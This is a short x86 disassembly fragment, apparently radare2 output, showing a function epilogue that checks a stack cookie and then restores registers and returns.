mov ecx, dword [esp + 0x1080]
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0052f395
mov esp, ebp
pop ebp
ret